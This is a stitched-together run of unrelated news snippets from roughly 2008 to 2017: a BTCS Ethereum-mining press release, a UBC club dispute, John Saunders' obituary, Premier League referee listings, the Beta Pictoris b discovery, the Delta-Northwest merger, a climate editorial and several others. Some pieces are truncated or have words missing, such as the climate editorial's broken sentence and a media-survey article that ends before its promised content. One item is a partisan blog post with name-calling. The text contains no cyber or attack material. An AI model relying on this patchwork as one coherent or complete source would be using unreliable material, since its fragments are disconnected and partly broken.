“I inherited a mess,” Trump said, returning to a familiar refrain. “Whether it’s the Middle East, whether it’s North Korea, whether it’s so many other things, whether it’s in our country horrible, trade deals. I inherited a mess. We’re going to fix it.”
-ARLINGTON, VA--(Marketwired - Mar 17, 2016) - BTCS Inc. ( OTCQB : BTCS) ("BTCS" or the "Company"), a blockchain technology focused company which secures the blockchain through its transaction verification services business, is launching a pilot program to begin securing Ethereum's blockchain.  Ethereum is a digital currency and blockchain platform focused on smart contract applications. Like bitcoin-based blockchain technologies, the decentralized network of Ethereum enables transactions without downtime, censorship, fraud, or third-party interference. Since early February, the value of Ether, the digital token or fuel that powers the Ethereum network, in USD terms, has grown at a 500% annual growth rate with the total value of all Ether, or market cap of Ether, surpassing $1 billion.  "As the first U.S. publicly-traded blockchain-focused company we want to provide our investors diversified exposure to digital currencies and blockchain technologies," stated Charles Allen, CEO of BTCS. "Given the recent success of Ethereum and the growing interest from major players in tech and finance, we believe it's an ideal time to launch a pilot program. With the capacity expansion we completed at our North Carolina facility in 2015, we're well-positioned to scale operations when necessary, even as we continue to ramp our current bitcoin-focused transaction verification operations."  Ethereum has garnered growing support since its launch in 2014, including projects with Microsoft and IBM. The recent launch of the first production release, Homestead, is set to make Ethereum a blockchain technology that will be integral to future smart contract based products.  Commenting on the launch of Ehereum's first production release, Andrew Keys, co-founder of decentralized application development firm ConsenSys Enterprise, told CoinDesk, "Homestead's arrival will begin to demonstrate the next generation of blockchain technology, whereby anything we can dream of, can be accomplished in a decentralized manner using Ethereum."  "Like many others, we're excited for the prospects of Ethereum," continued Allen. "While Ethereum is focused on smart contracts, it's important to note that there are currently numerous companies working on solutions to build smart contracts on bitcoin's blockchain, leveraging the deep security provided by its more established and secure blockchain."  In addition to the pilot program, BTCS has secured a Ethereum-mining hosting contract. The contract uses approximately 50 kilowatts of the Company's 3 megawatt capacity.  To see the BTCS facility, take a virtual reality tour that includes drone footage of the operation: https://www.youtube.com/watch?v=hkjhyUAO73w  To see a recent interview with our CEO Charles Allen, please click below:  https://www.youtube.com/watch?v=ppOpZbDoDNw  About BTCS:  BTCS secures the blockchain through its rapidly growing transaction verification services business and plans to build a broader ecosystem to capitalize on opportunities in this fast growing industry. The blockchain is a decentralized public ledger and has the ability to fundamentally impact all industries on a global basis that rely on or utilize record keeping and require trust. BTCS continues to evaluate and build additional blockchain technology consumer solutions. BTCS also actively partners and integrates with strategic digital currency and blockchain technology companies who provide products or services that are complementary to its business strategy. For more information visit: www.btcs.com  Forward-Looking Statements:  Certain statements in this press release, including those related to an anticipated merger, constitute "forward-looking statements" within the meaning of the federal securities laws. Words such as "may," "might," "will," "should," "believe," "expect," "anticipate," "estimate," "continue," "predict," "forecast," "project," "plan," "intend" or similar expressions, or statements regarding intent, belief, or current expectations, are forward-looking statements. While the Company believes these forward-looking statements are reasonable, undue reliance should not be placed on any such forward-looking statements, which are based on information available to us on the date of this release. These forward-looking statements are based upon current estimates and assumptions and are subject to various risks and uncertainties, including without limitation those set forth in the Company's filings with the Securities and Exchange Commission, not limited to Risk Factors relating to its digital currency business contained therein. Thus, actual results could be materially different. The Company expressly disclaims any obligation to update or alter statements whether as a result of new information, future events or otherwise, except as required by law.
-Earlier this year, Ryan Murphy had a really cool idea about combining comedy and horror, a “whole new genre” he came up with on his own. “I’m going to call it—check this out—Scream Queens,” he probably said as Fox executives nodded vigorously. “Man, where do I come up with this stuff?”  Anyway, Fox immediately ordered 15 episodes, and now Jamie Lee Curtis and Emma Roberts have been cast as the female leads for Murphy’s third anthology series so far. Neither of these names should be terribly surprising, considering Roberts co-starred in the third and fourth seasons of American Horror Story and Curtis played archetypal “final girl” Laurie Strode in John Carpenter’s Halloween. Their roles on the new Scream Queen series are still undefined, but based on the title at least one of them (the smart money’s on Roberts) will trip and fall for absolutely no reason while being chased by a masked killer. Scream Queens will debut on Fox in the fall of 2015.
-The UBC Free Speech Club set up a booth in front of the Nest today to protest what they feel was an unfair rejection of a men's rights club aligned with the Canadian Association for Equality (CAFÉ).  According to a letter from Student Administrative Commission Vice-Chair Rob Willoughby, the would-be club was rejected due to an overlapping mandate with the Sexual Assault Support Centre's (SASC) Healthier Masculinities Program, whose guiding principles include:  Working from an anti-oppressive and intersectional lens  Acknowledging privilege and positionality  Promot[ing] open, safer spaces to discuss and express various forms of masculinity  CAFÉ's stated purposes are not concerned with feminism and intersectionality, but rather focus on advocacy for men and “chang[ing] public policy,” through “positive activism to advance a healthier society.”  AMS VP Admin Chris Scott said that the decision to reject the men's rights club was a result of administrative strain on the student union. Management feels that with the pressure of 400 clubs competing for space and attention, there is little room for new clubs with even a slight overlap with existing ones.  “We're kind of at our maximum of clubs that we can support. We're strictly enforcing that there has to be very little overlap to accept new clubs. That was a plan across the board in the fall when we went through those applications,” he said.  Since June 30, the AMS has accepted 20 new clubs, and 16 Recognized Student Organizations (basically, clubs without office space provided by the union), and have denied 33 applications.  The Free Speech Club maintains that the two are different enough to warrant separate clubs.  “I think it's completely bullshit,” said club president Louis Jung. “If you look at the mandates we have here, they're completely different. I think [they were rejected] because CAFÉ isn't a feminist masculinity club, so I think they're just trying to shut it down,” he said.  “We sent them the link for volunteering with healthier masculinities ... and I'm guessing they didn't take that,” said Scott. “We really want to help them get involved in advocating for what they want.”  Phillip Johnston, branch director of CAFÉ Vancouver, believes the campus is in need of a men's advocacy club separate from the SASC.  “It's great that there are programs like the Healthier Masculinities program. I think there's some great work being done relating to men's health here on campus. However, I think there's a number of issues that those programs don't cover,” he said. “Things like the effects of fatherlessness and ... legal biases in the law courts that end up separating men from their children.”  “It seems fairly clear to me that the Healthier Masculinities program comes more from an ideological basis,” he said, whereas CAFÉ's is “evidence-based.”  “I don't reject [patriarchy] theory ... it's good to have discussions about different ideas on campus. I would just like to see a club on campus that presents another theory so that people get exposed to another way of looking at gender.”  After the protest, the male symbol on which the Free Speech Club collected thank-you notes to influential men in the lives of passersby was seen on top of the engineering cairn. The move sparked backlash on social media due to the upcoming anniversary of the 1989 massacre at École Polytechnique on December 6. The Engineering Undergraduate Society and Women in Engineering UBC are hosting a memorial ceremony for the massacre tomorrow.  This article has been updated to include statistics regarding how many clubs the AMS has accepted this school year.
-CTV Saskatoon  A cyclist who sustained life-threatening injuries Friday after a crash atop the Broadway Bridge went through the back windshield of a sedan as his bike went over the car, according to a Saskatoon police officer on scene.  The crash occurred Friday morning on the 400 block of Broadway Avenue, shortly after another collision that left a silver minivan hung up on a curb.  The van was blocking part of the roadway at the time of the crash between the cyclist and the sedan, the officer said.  The cyclist, a 33-year-old man, hit the back of the sedan, according to a police spokesperson. He was rushed to Royal University Hospital with life-threatening injuries. The driver of the sedan, a 34-year-old woman, was unharmed.  A witness told CTV a significant amount of blood was left on the ground in the road’s bike lane following the crash.  Traffic restrictions were lifted in the area shortly before 1 p.m.
-(CNN) South Africa's worst drought in recorded history has left eight of the country's nine provinces in a state of disaster, with thousands of communities and millions of households facing water shortages.  The agricultural union Agri SA has requested over $1 billion in government subsidies to help farmers through the crisis, but a cut-price solution could soon be available -- from an unlikely source.  Johannesburg schoolgirl Kiara Nirghin, 16, recently won the Google Science Fair's Community Impact Award for the Middle East and Africa with her submission "No More Thirsty Crops."  Using orange peel and avocado skins, the precocious student created a super absorbent polymer (SAP) capable of storing reserves of water hundreds of times its own weight, forming reservoirs that would allow farmers to maintain their crops at minimal cost. The polymer has the added benefit of sustainability as it uses recycled and biodegradable waste products.  "Kiara found an ideal material that won't hurt the budget in simple orange peel, and through her research, she created a way to turn it into soil-ready water storage with help from the avocado," said Andrea Cohan, program leader of the Google Science Fair.  The drought in South Africa is the worst on record.  Trial and error  The inventor says she wanted to tackle the most urgent aspect of the national crisis.  "I wanted to minimize the effect that drought has on the community and the main thing it affects is the crops," says Nirghin, of St. Martin's School. "That was the springboard for the idea."  She describes the process as "trial and error," with a lot of experimentation before alighting on the perfect formula.  "I started researching what an SAP was, and what they all had in common was a chain molecule polysaccharide," Nirghin recalls. "I found that orange peel has 64% polysaccharide and also the gelling agent pectin, so I saw it as a good (option). I used avocado skin due to the oil."  The teenager combined the skin and peel and left the mixture in the sun, where they reacted together to form the powerfully absorbent polymer.  Next steps  As a regional winner, Nirghin has been assigned a mentor from Google to work with her on developing the polymer, and hopes it could be tested in the field. She will soon discover if she is one of the tech giant's sixteen global finalists.  "If the idea was commercialized and applied to real farms and real crops I definitely think the impact that drought has on crops would be reduced," she says.  "I think it works," says Dr. Jinwen Zhang, a professor of materials engineering at Washington State University, who is developing absorbent hydrogels to address drought. "Using waste products for low-cost feedstock for large volume is definitely worth further investigation."  The teenager, whose hero is the Indian agricultural scientist M. S. Swaminathan, has many more ideas, including a proposal to dye the skins of endangered animals to discourage poaching.  "I might look into health sciences or engineering," she says of her future plans. "Something so I can improve the world."
-John Saunders, the sports anchor whose baritone voice was a fixture on ESPN programming for 30 years, has died, the network announced Wednesday. He was 61.  The cause of death was not immediately known.  ESPN president John Skipper saluted Saunders for his "extraordinary talent" and "friendly, informative style."  "He was one of the most significant and influential members of the ESPN family, as a colleague and mentor, and he will be sorely missed," Skipper said. "Our thoughts are with his loved ones at this extremely difficult time."  Reporting live from Rio de Janeiro, where she is covering the Olympics, ESPN anchor Hannah Storm announced Saunders' death on-air Wednesday.  Fighting back tears, Storm shared the "shocking and sad news" with viewers.  "Our generous and talented and beloved colleague John Saunders has died," Storm said. "John is one of the most familiar on-air faces at ESPN."  "Our sympathy, love and support goes out to all of those who loved and respected our colleague, John Saunders," she added.  More tributes from Saunders' colleagues came pouring in on social media.  "I cannot exaggerate how good a guy John Saunders was, nor how talented," tweeted longtime Boston Globe sportswriter Bob Ryan, a regular on ESPN. "This is a huge personal loss for us and a blow to ESPN's viewers."  ESPN NBA analyst Tim Legler called Saunders "one of the best men I've known."  "This is gutting news," tweeted "SportsCenter" anchor Scott Van Pelt.  I cannot exaggerate how good a guy John Saunders was, nor how talented. This is a huge personal loss for us and a blow to ESPN's viewers. — Bob Ryan (@GlobeBobRyan) August 10, 2016  Immense sadness over the passing of John Saunders. One of the best men I've known. A colleague, friend and loving father and husband. RIP — Timothy Legler (@LegsESPN) August 10, 2016  Prayers and condolences to the John Saunders family. We lost a great teammate. Great example and mentor to aspiring broadcasters. — Rece Davis (@ESPN_ReceDavis) August 10, 2016  John Saunders & his beautiful family / Heart goes out to wife Wanda / & his Pride & Joy girls Jenna & Aleah Pls RIP pic.twitter.com/BqnGNCpVld — Dick Vitale (@DickieV) August 10, 2016  Just last night we had a Vault feature including John Saunders. I smiled at the sight of John, Bob & Boom together. This is gutting news. — Scott Van Pelt (@notthefakeSVP) August 10, 2016  John Saunders was an amazing man, friend & colleague.  Rip my friend. Miss u already. — Ron Jaworski (@jawsespn) August 10, 2016  John Saunders was a better person than a host, which is saying something. Classy. Professional. I can't even describe his impact on me. — Jemele Hill (@jemelehill) August 10, 2016  Born and raised in Canada, Saunders joined ESPN in 1986 as an anchor of the network's flagship program, "SportsCenter."  Saunders filled a variety of roles over his three decades at the network, contributing to ESPN's coverage of both college football and basketball, the National Hockey League and Major League Baseball.  Since 2001, Saunders served as the host of "The Sports Reporters," ESPN's Sunday morning roundtable with some of the nation's best-known sportswriters.  He is survived by his wife and two daughters.
-See which referees and assistants are officiating the 12th round of matches in the 2016/17 Premier League  The match officials who have been appointed for the Premier League's Matchweek 12 fixtures are as below.  Kick-off 3pm unless stated.  Saturday 19 November  12.30pm Manchester United v Arsenal (Sky Sports)  Referee: Andre Marriner  Assistants: S Beck, A Garratt  Fourth official: M Oliver  Crystal Palace v Manchester City  Referee: Bobby Madley  Assistants: M McDonough, M Perry  Fourth official: A Davies  Everton v Swansea City  Referee: Martin Atkinson  Assistants: S Child, S Burt  Fourth official: A Taylor  Southampton v Liverpool  Referee: Mark Clattenburg  Assistants: S Bennett, R West  Fourth official: S Martin  Stoke City v AFC Bournemouth  Referee: Roger East  Assistants: D Cann, D Eaton  Fourth official: G Scott  Sunderland v Hull City  Referee: Lee Mason  Assistants: A Nunn, S Ledger  Fourth official: C Pawson  Watford v Leicester City  Referee: Neil Swarbrick  Assistants: J Collin, M Wilkes  Fourth official: D Coote  5.30pm Tottenham Hotspur v West Ham United (BT Sport)  Referee: Mike Dean  Assistants: S Long, I Hussin  Fourth official: K Friend  Sunday 20 November  4pm Middlesbrough v Chelsea (Sky Sports)  Referee: Jonathan Moss  Assistants: A Halliday, E Smart  Fourth official: C Pawson  Monday 21 November  8pm West Bromwich Albion v Burnley (Sky Sports)  Referee: Mike Jones  Assistants: A Holmes, M Scholes  Fourth official: S Attwell
-Just moments after President Donald Trump's surreal, whirlwind press conference came to a close Thursday, the Trump campaign sent out a very strange email.  The email posits that the media is an enemy that must be deflected, inviting recipients to take a survey about how much they hate CNN, MSNBC, Fox News and all mainstream media.  "Instead, you — the American people — are our last line of defense against the media’s hit jobs," the email read. But there's more. As if to drive the point home with the hammer of Thor, the 25 questions are branded "the Mainstream Media Accountability Survey."  Most of the questions lead the reader to confirm an assertion about how unfairly Trump has been treated by the media, or the "opposition party" as his top strategist Steve Bannon calls it. But, give them credit for knowing their audience. The whole thing is just one giant example of confirmation bias, aimed at people already on Trump's campaign mailing list. The survey basically says: The media is terrible. You agree, right?  One question shows a lack of historical context, asking about the Democrats' alleged obstruction of Trump's cabinet nominees. Let us not forget how Republicans obstructed then-President Barack Obama's Supreme Court nominee Merrick Garland.  Still, the details pale in comparison to the survey taken as a whole, a document sent under the name of a rabble-rousing, sitting president to stir up in his supporters' animosity toward the free press.  Just read it for yourself:
-Against the backdrop of the insufferable, and ever apoplectic, DC political gamesmanship, President Trump and First Lady Melania Trump are enjoying a nice evening dinner tonight at Trump International Hotel in DC. A fitting, and contrasting optic considering current events.  NBC propagandist, Kelly O’Donnell, dons her ghillie suit and hides amid the hotel plants to capture the possible culinary scandal.  Meanwhile President Trump’s lawyer Ty Cobb tells the New York Times the MAGA president has no worries.  WASHINGTON – […] Ty Cobb told the New York Times Trump is confident neither Manafort nor Flynn has incriminating information about the president. “The president has no concerns in terms of any impact, as to what happens to them, on his campaign or on the White House,” Cobb said.  “[Trump] likes and respects Mr. Manafort and appreciates the work he did for him during the three months he was with the campaign. He likes General Flynn personally, but understands that they have their own path with the special counsel,” Cobb said. “I think he would be sad for them, as a friend and a former colleague, if the process results in punishment or indictments. But to the extent that that happens, that’s beyond his control.” (link) (Interview Audio Here)  Anyone who followed the spring and summer primary race leading up to the GOP convention will well remember the specific reason candidate Donald Trump hired Paul Manafort to control the assembly of delegate votes.  Paul Manafort was a ‘fixer’, a ‘heavy’; a well manicured and connected political boss who understood the various horse trading machinations within the dynamic of the delegate assembly and byzantine compliance process. Mr. Manafort did his job well, and everyone appreciated his Soprano-esque characteristics that seemed necessary for the smoke-filled rooms.  In hindsight we now know Mr. Manafort flowed through the network of the Podesta brothers, Russian oligarchs, and worked on behalf of the Podesta Group DC connections. Sketchy business means sketchy associates.  So it doesn’t exactly come as a surprise to consider that Pauli Knuckles might find himself on the opposite side Mueller’s lawful compliance equation.  As to General Mike Flynn, well, good people do stupid things. Taking the lobbying contract with the government of Turkey was stupid. Not disclosing it to the campaign was even more stupid… Not reporting the lobbying income correctly, buckets of stupid… but hey, that’s hindsight.  Again, in the system of DC compliance, just because everyone else does it doesn’t make a solid defense when the other side of politics starts looking for scalps and leverage.  “President Trump likes and respects Mr. Manafort and appreciates the work he did for him during the three months he was with the campaign. He likes General Flynn personally, but understands that they have their own path with the special counsel,” Cobb said. “I think he would be sad for them, as a friend and a former colleague, if the process results in punishment or indictments. But to the extent that that happens, that’s beyond his control.”  President Trump and the First Lady leaving the White House for dinner at the Trump International Hotel in DC tonight. pic.twitter.com/AdDhymuVr2 — TRUMP News 24/7 (@MichaelDelauzon) October 29, 2017  Advertisements
-Story highlights Police identify the victims  The small private aircraft was attempting to land at the time  It caught fire when it struck trees, Virginia state police say  (CNN) Six people died Friday when a small private aircraft crashed at Shannon Airport in Fredericksburg, Virginia, according to state police.  The plane was attempting to land, but pulled back up at the end of the runway.  CNN Map  "It attempted to abort the landing and take off again," Sgt. F.L. Tyler of the Virginia State Police told reporters. "It then went off the south end of the runway and then landed in the tree line."  When the plane struck the trees, it immediately caught fire, officials said.  Rescue workers recovered all six bodies from the burned wreckage.  Read More
-A giant planet lurks in the dust and debris surrounding a young, nearby star – and astronomers have finally seen it in action.  Using the Very Large Telescope in Chile, astronomers took infrared images of the planet in two different positions around its star in 2003 and late 2009.  "It's so exciting that we can see it," said astronomer Paul Kalas of the University of California, Berkeley, who was not involved in the new work. "We've been looking a long time."  The discovery, announced June 10 in Science, proves that giant planets can form quickly around young stars and suggests that dust disks are signposts for stars hosting giant planets.  Beta Pictoris, a star almost twice the mass of the sun and located 63 light-years away, has been a celebrity among planet hunters since the 1984 discovery of a wide halo of dust and rocky debris that could eventually coalesce into planets. Later observations showed that the disk was oddly warped, and that it had a big hole near the center.  Theoretical models predicted that a planet around five to 10 times the mass of Jupiter could make both the warp and the hole. But when Anne-Marie Lagrange of the Grenoble Observatory in France, first author of the new paper, and her colleagues observed the star in 2003, they saw nothing.  "The tools we had in 2003 were not precise enough," she said.  After Kalas's group and another team released images of planets around the stars Fomalhaut and HR 8799 in November 2008, Lagrange and colleagues tried again. They used newer techniques to cancel out the light from the star, allowing the planet to shine through.  The image showed a bright object next to Beta Pictoris, but whether it was a planet or another star in the background was unclear.  "Frankly, if I had a bet on whether or not they'd actually seen a planet back in 2003 ... I would definitely bet it was not a planet," said astronomer Ben Zuckerman of the University of California, Los Angeles, who was involved in imaging the planets around HR 8799.  Follow-up observations in late 2008 and early 2009 also came up empty. Finally, in October 2009, the planet re-emerged on the other side of the star. Lagrange and colleagues kept taking images until March 2010 to confirm that the object was a planet.  "We spent a really long time, nights and days, to check it," she said. "It really shows that when we see disks, we have to look at every detail, because they can indicate the presence of a planet."  Because Beta Pictoris is such a young star – about 10 million years old, or two thousandths the age of the solar system – studying its planetary system can help astronomers decide between competing models of planet formation. For instance, earlier theoretical work showed that debris disks around stars broke up fairly quickly, within a few million years. Some theorists worried that massive planets wouldn't be able to form fast enough, but the planet around Beta Pictoris is proof that they can.  "It's taking a snapshot of another solar system right after it's born," Kalas said. "The other alternative is to invent a time machine and go back 4.5 billion years and look at our own Jupiter when it just formed. But obviously we can't do that."  The planet weighs in between six and 12 times the mass of Jupiter, similar to the models' predictions. It orbits its star at about the orbit of Saturn, between eight and 13 times the distance from the Earth to the sun, making it the closest planet to a star ever imaged. It also means the planet makes a complete circuit around its star every 17 to 30 Earth years, well within human lifetimes.  "Eventually, we'll have a movie of this planet going around Beta Pic," Kalas said. By contrast, the planets around HR 8799 and Fomalhaut take between 100 and 870 years to complete an orbit.  The next step is to observe the planet in more wavelengths to get an idea of what its atmosphere is made of, Lagrange said. And with new instruments like the Gemini Planet Imager coming online, the next few years should see even more direct images of extrasolar planets.  "The future is really bright," said astronomer Christian Marois of the National Research Council of Canada’s Herzberg Institute of Astrophysics. "It'll be a really interesting field in the next two or three years."  Image: ESO/A.-M. Lagrange. This image shows the dust disk around the star (blue light at edges), and the observed position of beta Pictoris b in 2003 and autumn 2009. The light from the star has been blocked out to make the planet visible.  See Also:
-Delta’s chief executive Richard H. Anderson would run the new airline and Delta’s chairman Daniel A. Carp would retain that role, with Roy J. Bostock, a Northwest director who also sits on the board at Morgan Stanley, as vice chairman. Northwest’s chief executive, Douglas M. Steenland, would have a seat on the board but would not have a role in day-to-day operations.  The two companies persevered because of the rising cost of fuel, which has destroyed the bright financial prospects of the carriers since they emerged from bankruptcy a year ago.  Delta and Northwest filed for Chapter 11 on Sept. 14, 2005. Both ran into cash shortages that were worsened when oil prices spiked in the wake of Hurricane Katrina. Many people in the airline industry expected that the two airlines, which already had a marketing arrangement, would join forces once they emerged from bankruptcy protection.  Mr. Anderson became Delta’s chief executive in September, succeeding Gerald Grinstein, who led the airline through its restructuring. He was a surprise choice: Delta had been expected to name one of two younger executives to the post, but directors pushed for Mr. Anderson. He ran Northwest before being succeeded by Mr. Steenland in 2004.  Delta and Northwest are betting that cost cuts and the benefits of a bigger route network will outweigh the potential operating chaos and labor unrest that can result from airline mergers.  The long-expected Northwest-Delta deal could be quickly followed by another merger, airline executives and industry analysts said.  The leading candidates are United and Continental Airlines, which have explored the idea. The airlines may now try to get the deal wrapped up within the next 30 days, a person with direct knowledge of the negotiations said Monday night. He spoke on condition of anonymity because the talks are private.  Advertisement Continue reading the main story  One reason for the urgency is that airlines want to get their deals approved by the Justice Department under the Bush administration, rather than risk seeing them stall until a new president takes office.  United’s chief executive, Glenn F. Tilton, has been eager for a merger, but Continental had resisted, saying it wanted to wait to see if the combination between Delta and Northwest came about. The chief executive of Continental, Lawrence W. Kellner, called it “good news” last month when it appeared that the Delta-Northwest talks had cooled. But Mr. Kellner could end up running the combined Continental-United, should an agreement take place, this person said.  Such deals would put pressure on others to explore combinations or consider restructuring, analysts said. American Airlines, which avoided Chapter 11 bankruptcy earlier in the decade, may be forced to explore that possibility so that it can rid itself of aging aircraft leases, and reduce its labor costs. Or, American could seek a deal with a smaller airline such as JetBlue Airways, in order to gain access to JetBlue’s younger fleet.  Meanwhile, Southwest Airlines, which has been the healthiest of the American carriers, may be forced to explore a deal with a low-fare carrier like AirTran, so that it can maintain its hold on the market for bargain minded travelers.  At the end of 2007, Delta and Northwest employed a combined 89,000 workers. American Airlines, currently the largest carrier, had 85,500. Delta said the combined airline would employ 75,000.  But the 6,300 Delta pilots and the 4,500 Northwest pilots were the two groups that executives worked so assiduously to win support from in recent months.  That effort was not successful. The two pilot groups could not agree on a merger of their seniority lists, which are important in determining pay, schedules and the type of plane they fly.  Delta’s Mr. Anderson faced the choice of either abandoning the deal or pushing ahead and risking fallout from pilots that could cripple his efforts to quickly combine the two carriers’ operations and make them run more smoothly.  Advertisement Continue reading the main story  The chairman of the Northwest chapter of the Air Line Pilots Association, Dave Stevens, said in a statement Sunday that any deal not in the best interest of his members would meet “vigorous opposition.” Beyond enlisting members of Congress and the Justice Department to oppose the deal, pilots have little opportunity to prevent a merger.  But they can go a long way toward keeping a completed merger from being successful. At US Airways, the product of a 2005 merger with America West Airlines, pilots are still litigating over a combined seniority list and executives have been forced to continue operating the two carriers with separate squads of pilots. That makes the airline less efficient.  Pilots can also engage in legal work slowdowns, sometimes known as flying to the contract, which can cause late and canceled flights to swell and costs to rise. United suffered that fate in the summer of 2000, when its operations melted down.  Newsletter Sign Up Continue reading the main story Please verify you're not a robot by clicking the box. Invalid email address. Please re-enter. You must select a newsletter to subscribe to. Sign Up You will receive emails containing news content , updates and promotions from The New York Times. You may opt-out at any time. You agree to receive occasional updates and special offers for The New York Times's products and services. Thank you for subscribing. An error has occurred. Please try again later. View all New York Times newsletters.  It is clear that the airline industry is headed into a steep downturn. Analysts now expect losses for the year. And the industry is highly vulnerable to further increases in the price of jet fuel — incurring $200 million in annual costs for every penny a gallon that fuel rises.  Michael Linenberg, an analyst at Merrill Lynch, noted Monday in a report that jet fuel in some markets had surged to as high as $3.50 a gallon, reflecting both higher oil prices and a steeper premium charged by refiners. Mr. Linenberg had expected fuel costs of $3.00 a gallon this year to produce an industry loss of $2 billion.  But if fuel prices moved industry-wide to $3.50 and stayed there, he said losses could soar to $12 billion this year. Before that happened, airlines would probably ground huge parts of their fleets, lay off workers and otherwise retrench.  Either way, without a remarkable increase in fares, the handful of smaller airline bankruptcies in recent weeks could grow to include some bigger carriers.  The deal comes nearly 30 years after the domestic airline industry was deregulated. But deregulation did not bring forth a flood of new and innovative airlines pushing aside the old guard, as some had envisioned. Instead, the industry since 1978 has been dominated by familiar names — Delta and Northwest among them.  Through bankruptcies, strikes and a broad decline in service, the old-line carriers have hung onto most of the market. And the merger, the largest ever among domestic carriers, is but the latest effort by old-line airlines to protect their businesses from low-cost rivals like Southwest, JetBlue and AirTran.  Advertisement Continue reading the main story  “The staying power of the legacy carriers is a source of continual amazement,” said Steve Morrison, chairman of the economics department at Northeastern University and author of a book on airline deregulation.  Indeed, since deregulation, the old-line airlines built what are known as fortress hubs — such as Delta’s in Cincinnati and Northwest’s in Minneapolis and Detroit — with such overwhelming market share that there is relatively little competition and fares in those markets are high.  Then they introduced frequent flier programs — a boon, to be sure, with free travel — that made it harder for regular travelers to stray from the dominant airline in their region.  Having pulled those two competitive rabbits out of their hat, will old-line carriers produce a third miracle with mergers?  “No,” Mr. Morrison said, combinations will not affect the industry as dramatically. He and some other experts said the Delta-Northwest combination — and a possible merger between Continental and United — could bolster profits at old-line carriers in the near term through cost cutting. But that will not stop the steady advance of low-cost airlines, which now account for about a third of domestic air travel.  The growth of low-cost airlines and the ability of consumers to shop for cheaper fares on the Internet have kept old-line carriers on the defensive. Then, beginning last fall, oil prices shot past $100 a barrel. That effectively snuffed out an industry recovery that had barely begun, with Delta and Northwest having emerged from bankruptcy only months earlier.  Their survival again threatened, Delta, Northwest and others began merger discussions.  For consumers, one or more mergers could result in more crowded planes. Jets are already flying fuller than ever before because the domestic fleet shrank after the terrorist attacks on Sept. 11, 2001. And airlines merging are now expected to ground more planes and cancel more flights.  But even the companies’ admirers expect over time that costs will be cut deeply. It is just not politic to say so. “Note that while it’s O.K. to downsize in other industries,” Daniel McKenzie, an analyst at Credit Suisse, said in a report in Feb, in airlines “a merger announcement accompanied by 1-2 hub closings and the layoff of thousands won’t get far, in our view.”  Advertisement Continue reading the main story  Pardus Capital Management, an investment firm, estimated in November that a combination of Delta and Northwest could reduce costs by about $1.5 billion a year, in large part by combining hubs. Delta’s hub in Cincinnati is close to Northwest’s in Detroit. And Northwest’s hub in Memphis is close to Delta’s in Atlanta.  In announcing the merger, the two airlines said that they had no plans to close any hubs, and that the transaction would generate more than $1 billion in annual revenue and cost savings. The two airlines also expect to incur one-time cash costs to not exceed $1 billion to integrate.  The headquarters of the combined airline will be in Atlanta, with executive offices in the Minneapolis/St. Paul area.  “I would call this a defensive act,” said Fred Reid, who was the first chief executive of Virgin America, the start-up low-cost airline backed by British entrepreneur Richard Branson. Mr. Reid watched old-line carriers file protests with the Transportation Department, seeking, ultimately unsuccessfully, to stop Virgin.  And though he is a former chief operating officer at Delta, Mr. Reid believes that within six-to-eight years low-cost carriers will have captured more than half the domestic market in the United States and will then go after the international business.  “The legacy airlines tend to have high levels of dissatisfaction” among customers, he said.  Despite the agreement, it is not certain that the merger will ultimately be completed. Previous combinations — notably United and US Airways in 2000 — were abandoned in the face of antitrust scrutiny and opposition from unions.  James L. Oberstar, chairman of the House Transportation and Infrastructure Committee, opposed that 2000 merger and “is generally opposed to any further consolidation,” said a spokesman, James Berard. The House cannot technically block a merger, but it can hold hearings and encourage the Justice Department to scrutinize deals.
-The heat goes on: After a blitz by climate change skeptics, hard science vindicates their targets  Of late U.S. public opinion has turned very chilly for the vast majority of the world's climate scientists whose data demonstrates that human-generated emissions are heating the globe with potentially catastrophic results. Thanks to a confluence of events, some significant and others bogus, polls show Americans are increasingly confused about the reality of global warming.  After the election of President Barack Obama, the expectation was that the U.S. government would end the foot dragging of the George W. Bush administration and aggressively move to reduce heat-trapping greenhouse gas emissions. While the Environmental Protection Agency did classify carbon dioxide as a pollutant and the House of Representatives passed an ambitious energy bill with cap-and-trade measures to reduce emissions, the bipartisan version in the Senate sponsored by John Kerry, D-Mass, Lindsey Graham, R-S.C., and Joe Lieberman, I-Conn., faces tough sledding.  The Copenhagen climate summit that was supposed to design a global climate treaty to succeed Kyoto instead produced little more than platitudes about future action. The worldwide economic recession made the costs of combating global warming less acceptable to both industrialized nations and their developing counterparts.  In the midst of that gloomy outlook came a pair of highly publicized incidents that were used to cast doubt on the validity of climate change theory.  First, hackers raided the computer system at the climate research unit of Britain's East Anglia University and published thousands of scientists' private e-mails. Global warming skeptics portrayed the communications as proof that devious researchers were cooking data to support a global warming hoax. That charge was decisively rejected by a British government commission that examined the e-mails. Although it faulted the scientists for petty and sometimes vindictive comments about their detractors, the commission found no grounds to challenge the scientific consensus that global warming is happening and is caused by human activity.  In a second flap, global warming disbelievers seized on a single misstated claim in a 900-page report by the United Nations Intergovernmental Panel on Climate Change that Himalayan glaciers will melt by the year 2035 as proof the massive body of science authenticating global warming was suspect. Although the evidence of retreating glaciers around the world is incontrovertible, a single error on a timeline was used to cast doubt on the U.N. panel's work. is cooling rather than heating up. Brushed aside was the fact that globally 2009 was the second warmest ever recorded, and the past decade was the warmest ever measured by man. An analysis compiled by scientists at NASA's Goddard Institute for Space Studies projects that this year may be the hottest yet.  As writer Elizabeth Kolbert points out in the current issue of the New Yorker, “The message from scientists at this point couldn't be clearer: the world's emissions trajectory is extremely dangerous. Goofball weathermen, Climategate, conspiracy theories — these are all a distraction from what's really happening.”  For those of us living in hurricane-vulnerable areas, keep in mind this ominous measurement: Sea surface temperatures in the Atlantic main development area for tropical storms last month were the warmest ever recorded for March, already reaching levels typical of late June. The conjunction of several climate patterns combined with ongoing overall warming of the world's oceans is thought to be the cause.  Despite all the spinning and hot air, the science is solid and global warming is a real, deadly serious concern. It's time to deal with it.
